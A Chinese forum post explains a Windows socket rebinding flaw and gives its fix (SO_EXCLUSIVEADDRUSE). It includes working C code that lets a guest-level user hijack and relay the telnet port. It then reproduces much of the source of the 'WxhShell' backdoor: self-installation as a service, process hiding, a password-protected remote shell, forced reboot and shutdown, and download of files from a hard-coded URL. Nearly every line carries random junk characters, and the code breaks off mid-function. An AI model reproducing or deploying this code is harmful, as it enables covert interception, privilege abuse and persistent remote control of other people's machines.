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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `i t+D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /63 W\  
waXDGdl0  
  saddr.sin_family = AF_INET; cyGN3t9`.  
Tsm1C#6 Y*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JNxW6 cK  
2AXF$YjY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WyBQ{H{So  
`jb0 +{08  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <TLGfA1bC  
&\"Y/b]  
  这意味着什么?意味着可以进行如下的攻击: !B [1zE  
6K4`;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MtZt8s  
w69>tC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wGOMUWAt  
P[rAJJN/E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -GDV[Bg  
pAJ=f}",]E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :u >W&D  
";)r*UgR{B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &\[Qm{lN  
I%;Rn:zl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r~Y>+ln.  
*D=K{bUe'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0)A=+zSS1  
hi;WFyJTu  
  #include wUZQB1$F  
  #include 4NpHX+=P  
  #include T>\nWancQM  
  #include    $kxu;I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q3c*<n g#  
  int main() Yw~;g: =  
  { 6?%]odI#  
  WORD wVersionRequested; ]PR|d\O  
  DWORD ret; o5N]((9  
  WSADATA wsaData; 0M#N=%31  
  BOOL val; K[Y c<Q  
  SOCKADDR_IN saddr; z3^RUoGU  
  SOCKADDR_IN scaddr; 7XUhJN3n  
  int err; eZ!yPdgy|  
  SOCKET s; f![xn2T  
  SOCKET sc; V.K70)]  
  int caddsize; ZhGh {D[,  
  HANDLE mt; Nl~Z,hT$*  
  DWORD tid;   9USrgY6_  
  wVersionRequested = MAKEWORD( 2, 2 ); Rz.i/w g}  
  err = WSAStartup( wVersionRequested, &wsaData ); H{j~ihq7  
  if ( err != 0 ) { <)_:NRjBF&  
  printf("error!WSAStartup failed!\n"); {[Uti^)m%  
  return -1; %:" RzHN  
  } -/M9 vS  
  saddr.sin_family = AF_INET; 9Tzc(yCY  
   a<f;\$h]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zo_k\K`{@  
ijvNmn1k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MS{Hz,I,  
  saddr.sin_port = htons(23); m3U+ du  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^D9 /  
  { - ,R0IGS  
  printf("error!socket failed!\n"); nHI(V-E2:H  
  return -1; `[X6#` <  
  } rU; g0'4e  
  val = TRUE; 8'3"uv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bHO7* E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &[NVP&9&U  
  { pt=7~+r  
  printf("error!setsockopt failed!\n"); AiY|O S3R  
  return -1; ~J%R-{U9  
  } L&:M8xiA~$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uAp -$?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q|n97.vD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~@%(RMJm&  
&@=u+)^-{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `ajx hp  
  { h^['rmd  
  ret=GetLastError(); 9Tqn zD  
  printf("error!bind failed!\n"); W=~id"XtJ  
  return -1; HMF8;,<_w?  
  } =8O}t+U  
  listen(s,2); zXQVUhL6  
  while(1) La\Q'0  
  { /r>IV`n{  
  caddsize = sizeof(scaddr); UV?[d:\>'  
  //接受连接请求 =ZG<BG_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Er`TryN|}  
  if(sc!=INVALID_SOCKET) nARxn#<+  
  { `f%&<,i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A)OdQFet(  
  if(mt==NULL) fG<Dhz@  
  { qO7fbql_  
  printf("Thread Creat Failed!\n"); +VwV5iy[`  
  break; h{\t*U 54'  
  } D`V6&_. p  
  } +z+ F-  
  CloseHandle(mt); et@">D%;]  
  } '^hsH1  
  closesocket(s); :]EP@.(  
  WSACleanup(); =\M)6"}y}  
  return 0; /d[Mss  
  }   7`Qde!+C  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1d`cTaQ-  
  { K-Re"zsz  
  SOCKET ss = (SOCKET)lpParam; [C~fBf5  
  SOCKET sc; FU[*8^Z  
  unsigned char buf[4096]; Og +)J9#  
  SOCKADDR_IN saddr; bk.*k~_  
  long num; w_\nB}_  
  DWORD val; c2/"KT  
  DWORD ret; J)_>%.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wqcDAO (  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6Ux[,]G K  
  saddr.sin_family = AF_INET; -jFP7tEv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $Ru&>D#stK  
  saddr.sin_port = htons(23); J l\'V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g- XKP  
  { N5yJ'i~,M  
  printf("error!socket failed!\n"); >A<Df  
  return -1; =`JW1dM  
  } cbfD B^_  
  val = 100; z23#G>I&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 46ILs1T6  
  { l/[pEUYU  
  ret = GetLastError(); V5~fMsse  
  return -1; )u<eO FI+  
  } C B6A}m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vlvvi()  
  { { yTpRQN~  
  ret = GetLastError(); ]{<saAmJC  
  return -1; TopHE  
  } 3+ e4e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }4Zkf<#7$  
  { pKq]X}[^c  
  printf("error!socket connect failed!\n"); axtb<5&  
  closesocket(sc); B4IBuS  
  closesocket(ss); a%v>eXc  
  return -1; >[EBpYi  
  } >G&^?5  
  while(1) V n^)  
  { Zd$JW=KR]l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J||E;=%f-Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oooS s&t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pp<E))&R  
  num = recv(ss,buf,4096,0); JwB"\&'1ZS  
  if(num>0) vmLpm xS  
  send(sc,buf,num,0); fa4=h;>a+  
  else if(num==0) /p,{?~0mj  
  break; ,%kmXh  
  num = recv(sc,buf,4096,0); ]W;:|/,c  
  if(num>0) zz&vfO31J  
  send(ss,buf,num,0); p3 e|j  
  else if(num==0) pcnl0o~  
  break; {tc57jsr  
  } =MxpH+spI  
  closesocket(ss); j|mv+O  
  closesocket(sc); Z&-tMai;  
  return 0 ; v$;@0t:;#  
  } Je 31".  
lY8`5Uz  
g>yry}>04%  
========================================================== /9Z!p  
V:OiW"/  
下边附上一个代码,,WXhSHELL Jr]gEBX  
O:._W<  
========================================================== 2$ tQ @r  
ctHEEFWm  
#include "stdafx.h" F{\=PCZ>7  
#jm@N7OZ  
#include <stdio.h> =DC 3a3&%  
#include <string.h> x)_r@l`$ix  
#include <windows.h> NJm-%K  
#include <winsock2.h> ioWo ]  
#include <winsvc.h> \sITwPA[z  
#include <urlmon.h> dZDK7UL  
Z%OW5]q  
#pragma comment (lib, "Ws2_32.lib") b)`pZiQP  
#pragma comment (lib, "urlmon.lib") {yS;NU`2  
ws[/  
#define MAX_USER   100 // 最大客户端连接数 7E\g &R.  
#define BUF_SOCK   200 // sock buffer O@wK[(w^  
#define KEY_BUFF   255 // 输入 buffer uFo/s&6K  
kM;o0wi  
#define REBOOT     0   // 重启 ('JKN"3  
#define SHUTDOWN   1   // 关机 zqf[Z3  
o,*=$/or  
#define DEF_PORT   5000 // 监听端口 x6v,lR  
m8+:=0|$  
#define REG_LEN     16   // 注册表键长度 8SZK:VE@  
#define SVC_LEN     80   // NT服务名长度 `;cz;"  
:3O5ET'1  
// 从dll定义API eF5;[v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^BiP LQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n]iyFZ`9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %J!NL0x_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~)?|J  
nmg{%P  
// wxhshell配置信息 c]NN'9G!{  
struct WSCFG { 0m A(:"  
  int ws_port;         // 监听端口 , D"]y~~I5  
  char ws_passstr[REG_LEN]; // 口令 WqQU@sA  
  int ws_autoins;       // 安装标记, 1=yes 0=no #w|5 jN?  
  char ws_regname[REG_LEN]; // 注册表键名 dlR_ckp  
  char ws_svcname[REG_LEN]; // 服务名 }LQC.!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qnXTNs ?b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {m[Wyb(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n}q$f|4!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0X>T+A[E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uY]0dyI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |'$ l7  
?oKL &I@  
}; ve fU'  
n"Z |e tZ4  
// default Wxhshell configuration Y{+3}drJE  
struct WSCFG wscfg={DEF_PORT, *)D1!R<\,R  
    "xuhuanlingzhe", ?Oc -aa  
    1, kP^*h O!%  
    "Wxhshell", X!c?CL  
    "Wxhshell", w.^yP7:  
            "WxhShell Service", l'uOORI  
    "Wrsky Windows CmdShell Service", $8g42LR'  
    "Please Input Your Password: ", `tVy_/3(9  
  1, bLlH//ZRH  
  "http://www.wrsky.com/wxhshell.exe", WFDCPQ@  
  "Wxhshell.exe" 7&|6KN}c  
    }; <u0,Fp  
eGvOA\y:  
// 消息定义模块 cz(G]{N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2(+P[(N1,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FM\[].  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h.}u?{  
char *msg_ws_ext="\n\rExit."; (w$'o*z;(  
char *msg_ws_end="\n\rQuit."; H+x#gK2l  
char *msg_ws_boot="\n\rReboot..."; cmDT +$s  
char *msg_ws_poff="\n\rShutdown..."; ) rpq+~b  
char *msg_ws_down="\n\rSave to "; FmD +8=  
VB"(9O]  
char *msg_ws_err="\n\rErr!"; 5v|EAjB6o  
char *msg_ws_ok="\n\rOK!"; = F<:}Tx)C  
taDQ65  
char ExeFile[MAX_PATH]; gDC2 >nV  
int nUser = 0; [.&[<!,.  
HANDLE handles[MAX_USER]; $.8 H>c  
int OsIsNt; C:j]43`  
Yt{&rPv,  
SERVICE_STATUS       serviceStatus; Y;_T=  L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Qb0:]sV#  
=/}X$,@2  
// 函数声明 5@f5S0 Y  
int Install(void); I`^YAbnb  
int Uninstall(void); }-nU3{1  
int DownloadFile(char *sURL, SOCKET wsh); H~Uq?!=b  
int Boot(int flag); wOg,SMiq  
void HideProc(void); +t"j-}xzE  
int GetOsVer(void); g>n0z5&TNF  
int Wxhshell(SOCKET wsl); A[JM4x   
void TalkWithClient(void *cs); iLtc HpN  
int CmdShell(SOCKET sock); GFL-.? 0  
int StartFromService(void); %l|\of7P2}  
int StartWxhshell(LPSTR lpCmdLine); |';7v)CIG  
,LUTHWEo"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7I >J$"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @i1q]0  
j^ EbO3  
// 数据结构和表定义 qm%nIU \*  
SERVICE_TABLE_ENTRY DispatchTable[] = m~>@BCn;  
{ [W;[v<E;  
{wscfg.ws_svcname, NTServiceMain}, ^y Vl"/  
{NULL, NULL} uJ8{HB  
}; nk/vGa4  
D=&K&6rr  
// 自我安装 ?,XC =}  
int Install(void) 9@y3IiZ"}  
{ 2w4MJ,Uw  
  char svExeFile[MAX_PATH]; ri+U0[e3  
  HKEY key; vr4S9`,  
  strcpy(svExeFile,ExeFile); Ue7 6py9  
[:B*6FXMN~  
// 如果是win9x系统,修改注册表设为自启动 <|H ?gfM  
if(!OsIsNt) { m UgRm]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XTo8,'UaP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E {>`MNj  
  RegCloseKey(key); *U_oao  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E474l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( 3;`bvYH"  
  RegCloseKey(key); P']Y( !L  
  return 0; *rf$>8~$n  
    } aR)?a;}H  
  } ik\S88|  
} \ja `c)x  
else { GYoseqZM  
.'lN4x  
// 如果是NT以上系统,安装为系统服务 &HL{LnLP@/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oD0EOT/E  
if (schSCManager!=0) H[nz]s  
{ L_?$ayZ;  
  SC_HANDLE schService = CreateService a5V=!OoMk  
  ( o5 WW{)Q  
  schSCManager, _9kIRmT{  
  wscfg.ws_svcname, Tl3"PIb  
  wscfg.ws_svcdisp, 6K 4+0xXv  
  SERVICE_ALL_ACCESS, d~`-AC+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W4vBf^eC  
  SERVICE_AUTO_START, RIjM(P  
  SERVICE_ERROR_NORMAL, D]u=PqHk2  
  svExeFile, *P xf#X  
  NULL, #T"64%dX  
  NULL, QJSr:dP4dG  
  NULL, ;BVDt  
  NULL, } yq  
  NULL euZ I`*0  
  ); -3vh!JMN  
  if (schService!=0) 968^ "T#  
  { l%<c6;  
  CloseServiceHandle(schService); N-QCfDao  
  CloseServiceHandle(schSCManager); `~nCbUUee  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8 u:2,l  
  strcat(svExeFile,wscfg.ws_svcname); 61:9(*4~!F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C3.=GRg~l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Fp'/~|w2d  
  RegCloseKey(key); wd+O5Lr.R  
  return 0; .bfST.OA  
    } H,|YLKg-|  
  } 4z0L ke  
  CloseServiceHandle(schSCManager); / O)6iJ  
} >{XScxaB`  
} !Uy>eji}  
e1 ^l.>2d6  
return 1; uV77E*+7\  
} c&e0OV\m  
__(V C :  
// 自我卸载 all*P #[X  
int Uninstall(void) ]M\q0>HoJ  
{ iZC`z }  
  HKEY key; 1b[NgOXY=  
c F=P!2 @  
if(!OsIsNt) { SQ<f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KN, 4@4  
  RegDeleteValue(key,wscfg.ws_regname); jY+Do:#/wO  
  RegCloseKey(key); 4J8Dh;a`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cuv|6t75'  
  RegDeleteValue(key,wscfg.ws_regname);  XhA4:t  
  RegCloseKey(key); B5`;MQJ  
  return 0; Yxq j -   
  } !I7?  
} %zflx~  
} OG}KqG!n  
else { ?O7iK<5N  
@_Sp3nWdu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^ZVO ql&  
if (schSCManager!=0) ~`[8"YUL  
{ vJThU$s-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?*+1~m>  
  if (schService!=0) 7@a\*|K6  
  { Wr#~GFg  
  if(DeleteService(schService)!=0) { ?(Bl~?zD  
  CloseServiceHandle(schService); eJaUmK:  
  CloseServiceHandle(schSCManager); !Bj^i cR  
  return 0; y@ .b 4  
  } FfSI n3  
  CloseServiceHandle(schService); r=\P!`{5  
  } `oXg<tivU  
  CloseServiceHandle(schSCManager); JWWInuH  
} :D4];d>1  
} 8]]@S"ZM,\  
5Pqt_ZWy  
return 1; O! (85rp/  
} H &fTh  
nl9kYE [  
// 从指定url下载文件 c(&AnIlS  
int DownloadFile(char *sURL, SOCKET wsh) r0uJ$/!  
{ S}mm\<=1  
  HRESULT hr; CjV7q y  
char seps[]= "/"; D!me%;  
char *token; D2$^"  
char *file; 5p{25N_t  
char myURL[MAX_PATH]; #G~wE*VR$  
char myFILE[MAX_PATH]; RNe9h lr  
Gym#b{#":  
strcpy(myURL,sURL); ^XNw$@&',  
  token=strtok(myURL,seps); -;ER`Jqs,  
  while(token!=NULL) 9C=~1>S  
  { b~9`]+  
    file=token; mF~ys{"t  
  token=strtok(NULL,seps); 5\3 swP_7  
  } m{O Dz :  
MYu`c[$jZ  
GetCurrentDirectory(MAX_PATH,myFILE); ydyG}XI7V  
strcat(myFILE, "\\"); c dDY]"k  
strcat(myFILE, file); 4znH$M>bU  
  send(wsh,myFILE,strlen(myFILE),0); C$_G'XI  
send(wsh,"...",3,0); 8=pv/o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A$ J9U3+O  
  if(hr==S_OK) yWmrdvL  
return 0; 9BO|1{  
else ,3k@L\$.x  
return 1; 0}D-KvjyP  
4uPH  
} H7}g!n?  
>~^`5a`$uI  
// 系统电源模块 XJ O[[G`  
int Boot(int flag) nfa_8  
{ yIWc\wv  
  HANDLE hToken; y,V6h*x2  
  TOKEN_PRIVILEGES tkp; -EVs@:3]j  
VZTmzIk.Y  
  if(OsIsNt) { X'xUwT|_+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n_1jHJo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /Bh>  
    tkp.PrivilegeCount = 1; HS(U4   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F:S"gRKz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^?nP$+gq  
if(flag==REBOOT) { !*5_pGe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %6N)G!P  
  return 0; S7Znz@  
} blUY.{NN3  
else { l\_x(BH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^K"ZJ6?+1  
  return 0; :q(D(mK  
} Ca X^)  
  } 'V1!&Q6  
  else { %pH)paRAP  
if(flag==REBOOT) { lS#7x h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X:U=MWc>  
  return 0; tg3zXJ4k_  
} [z^Od  
else { !ZX&r{pJp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eVrnVPkM  
  return 0; )=y.^@UT@  
} Q*Y 4m8wY  
} K[*h+YO  
zUJx&5/  
return 1; lQh~Q<[ge  
} 40R"^*  
\|blRm;  
// win9x进程隐藏模块 WFRsSp2  
void HideProc(void) ~m!#FTc*  
{ :MK:TJV  
1E8$% 6VV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uL bp.N8  
  if ( hKernel != NULL ) (VfwLo>#  
  { 6={IMkmA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RXUA!=e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7,f:Qi@g  
    FreeLibrary(hKernel); h,]tQ#!s8  
  } z/)$D  
]F !'M  
return; 3xP~~j;7  
} JR] )xPI`  
Kq$:\B)<c  
// 获取操作系统版本 cD5w| rm?i  
int GetOsVer(void) ES^NBI j5P  
{ E N)YoVk  
  OSVERSIONINFO winfo; KuIkul9^%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 93 [rL+l.Y  
  GetVersionEx(&winfo); h>~jQ&\M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SwyaYK  
  return 1; K *TnUQ  
  else L^6"' #  
  return 0; "pOqd8>]  
} 6BUBk>A`  
zMbfV%b  
// 客户端句柄模块 UP}feN  
int Wxhshell(SOCKET wsl) 3(MoXA*  
{ 2XzF k_6H  
  SOCKET wsh; $K`_ K#A  
  struct sockaddr_in client; 4A;[s m^f  
  DWORD myID; dUI3erO  
Rk}\)r\  
  while(nUser<MAX_USER) iKohuZr  
{ ]U_5\$  
  int nSize=sizeof(client); b*cW<vX}~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :b.3CL\.6  
  if(wsh==INVALID_SOCKET) return 1; a:=q8Qy  
n; Lo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v hRu `Yb  
if(handles[nUser]==0) -)p@BtMS  
  closesocket(wsh); >Dk1axZ!>/  
else fKFnCng  
  nUser++; ixIh T  
  } rH[5~U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dz{#"No0  
@P*ylB}?Q  
  return 0; ~o:rM/!Ba  
} =s`XZkh  
,?C|.5  
// 关闭 socket &/ \O2Aw8  
void CloseIt(SOCKET wsh) h1n*WQ-  
{ &\JK%X.Jlt  
closesocket(wsh); /TzNdIv  
nUser--; %=laY_y G  
ExitThread(0); lq;  
} N<p5p0  
-kWO2  
// 客户端请求句柄 j kSc&  
void TalkWithClient(void *cs) kTr6{9L  
{  -0{T  
d1UVvyH  
  SOCKET wsh=(SOCKET)cs; P h9Hg'  
  char pwd[SVC_LEN]; oxUE79  
  char cmd[KEY_BUFF]; &r&;<Q  
char chr[1]; V*~1,6N [  
int i,j; ,h3269$J  
J@oEV=L  
  while (nUser < MAX_USER) { ,O$Z,J4VL  
);0<Odw%.  
if(wscfg.ws_passstr) { d\v$%0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); elN{7:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 yh9HE  
  //ZeroMemory(pwd,KEY_BUFF); N7d17c. 5  
      i=0; (J6" ;  
  while(i<SVC_LEN) { "9c.CI  
D2Vb{%(4.  
  // 设置超时  Ask' !  
  fd_set FdRead; |z.Gh1GCy  
  struct timeval TimeOut; $ \? N<W  
  FD_ZERO(&FdRead); aQz|!8Is  
  FD_SET(wsh,&FdRead); mgmWDtxN  
  TimeOut.tv_sec=8; Ah6wU|_-g  
  TimeOut.tv_usec=0; s/r5,IFR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;b, -$A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'CP/ymf/a  
mle_*Gy8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r^?)F?n!  
  pwd=chr[0]; LEYWH% y  
  if(chr[0]==0xd || chr[0]==0xa) { %1Vu=zCAW  
  pwd=0; v[0DE*p  
  break; E"Ya-8d=  
  } kWzuz#  
  i++; j lYD~)  
    } FZ[@])B  
X=rc3~}f  
  // 如果是非法用户,关闭 socket '"!z$i~G=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `,F&y{ A  
} u5xU)l3  
>wz;}9v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y #hga5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k98< s  
7P3 <o!YA  
while(1) { KzEuPJ?  
>2l13^Y  
  ZeroMemory(cmd,KEY_BUFF); l.__10{  
g*:ae;GP  
      // 自动支持客户端 telnet标准   (|yRo  
  j=0; Wl^prs7}c  
  while(j<KEY_BUFF) { oUW )H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nz,Mqol  
  cmd[j]=chr[0]; 71oFm1m{  
  if(chr[0]==0xa || chr[0]==0xd) { -X"5G  
  cmd[j]=0; tYI ]LL  
  break; $nUd\B$.=  
  } 6{JR0  
  j++; k#1`  
    } *u|lmALs  
>P6^k!R1y  
  // 下载文件 /'8*aUa  
  if(strstr(cmd,"http://")) { Sqp;/&Ji  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ({;P#qCX  
  if(DownloadFile(cmd,wsh)) yt/20a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%\7.h  
  else .ujs`9d_-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \_*?R,$3Y,  
  } S5:"_U  
  else { |i,zY{GI+2  
OqfhCNAY  
    switch(cmd[0]) { n/9 LRZD|w  
  ^l]]qdNr  
  // 帮助 =:xV(GK}  
  case '?': { 'Z*\1Ci  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u)q2YLK8  
    break; e3yorQ][  
  } KuIt[oM  
  // 安装 e.)yV'%L  
  case 'i': { }};j2  
    if(Install()) Ze$^UR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQO>}#qm  
    else Bi9 N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { 4_I7r  
    break; wQo6!H "K  
    } `^X RrVX<  
  // 卸载 E %wV  
  case 'r': { n9<roH  
    if(Uninstall()) dXA{+<!!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%,o8E2~  
    else VYl_U?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bqw/O`*wfN  
    break; /t$+Af,}  
    } htUy2v#V  
  // 显示 wxhshell 所在路径 h/0<:eZ*  
  case 'p': { w%i+>\tO  
    char svExeFile[MAX_PATH]; X_-Hrp!h  
    strcpy(svExeFile,"\n\r"); rE1np^z7  
      strcat(svExeFile,ExeFile); 1=9qAp;?o  
        send(wsh,svExeFile,strlen(svExeFile),0); r+{!@`dYi  
    break; .RQXxw  
    } Ct =E;v7}  
  // 重启 _Ep{|]:gw  
  case 'b': { ?MV[=LPL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tMD^$E"C  
    if(Boot(REBOOT)) U<ku_(2"#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -dc5D@4`#s  
    else { Q{H!s_6iyv  
    closesocket(wsh); ~.PPf/ Z8]  
    ExitThread(0); !L0E03')k  
    } ( )JYN5  
    break; C|.$L<`  
    } -)y> c  
  // 关机 *@bg/S K%  
  case 'd': { Xhq? 7P$3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7`uA  
